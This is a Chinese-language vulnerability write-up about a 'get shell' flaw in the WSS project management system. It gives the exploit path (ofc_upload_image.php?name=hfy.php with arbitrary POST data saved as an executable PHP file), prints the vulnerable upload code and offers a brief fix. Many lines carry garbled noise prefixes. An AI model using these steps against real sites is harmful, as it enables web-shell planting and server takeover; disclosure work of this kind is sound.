WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
0 R8 m. M# w4 Z7 c 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
, p- ?; H+ p' e  j/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
! l. m" Z! a: p: A
Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php

- Z& [1 W; [+ d/ A' t
( b0 v3 Y) B1 P9 Z+ A最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

7 q* o+ z$ S& k, A0 S  X$ Z4 J<?php

1 l3 L2 l! r% H# y, |" r0 ]//
// In Open Flash Chart -> save_image debug mode, you
$ o. t0 x2 a' w: R/ }4 ]* |0 l. X// will see the 'echo' text in a new window.
) {% W& p6 t5 S1 D/ H( q+ G1 c, K- Z//
$ H$ H# _& m+ D& A8 e6 p, V
" q* i2 c5 {" V7 n& E4 i/*
7 q  m# ^' B; i
; ^2 G% K! ?# T* Hprint_r( $_GET );
print_r( $_POST );
/ c/ e$ p* r0 I8 _3 o( K4 r% aprint_r( $_FILES );
/ k4 d' f% n) b# h/ L) o
print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
! D2 e9 @. {7 ^  m! ?
: h1 V. U8 R% S8 u- q" V2 D*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

) A: B4 n/ r8 `if (!file_exists($default_path)) mkdir($default_path, 0777, true);

' p; C3 ]$ U7 W; V& _2 w// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
! C. @3 Q* E% ^. F) {
echo 'Saving your image to: '. $destination;
& @7 N. G/ }5 B2 S# B// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
+ ~3 v+ O1 C/ q' s" j0 e// so PHP is a bit confused and $_POST is empty. But it has saved
4 P3 y! \8 n& z& Z// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
9 Q/ s" }  |9 C1 B7 D" F9 L
//
// LOOK:
" Z# Q2 M& h* E1 F% m//
exit();
//
// PHP5:
/ j% C0 L& M4 _9 d$ Y//
- u' u* A5 c% `9 ?& H
; _1 ~/ f+ b# {; ]* E
; ^( D: ~  i; ]& P// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

) `4 Q2 M) c; I4 `if (!file_exists($default_path)) mkdir($default_path, 0777, true);
( s# n5 x) I7 f# \& }+ v
1 f! U$ }- n( E* N: c/ A// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
; u7 k/ P% I/ H* j+ k8 e$ l/ c
// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
1 {( _* }9 |$ z* n% E  D; b3 ]1 Z6 c} else {
4 X- s. K# H3 z. i) ?    echo "FILE UPLOAD FAILED";
/ G- N! Z* x. r! d: U2 l3 O}


?>

. K# V6 M) i0 |% a
, G8 A$ ?- a: I

% N5 R" g8 Q$ @
) _4 S$ \6 a! O( n! w; K8 i# i
/ `7 ?& `) A- ^' H, q  s+ d修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


3 ^: `* _: q! K
' K& s  k, s2 S+ g3 P9 h$ C
( W2 o+ C2 [% ?. z; v, S2 L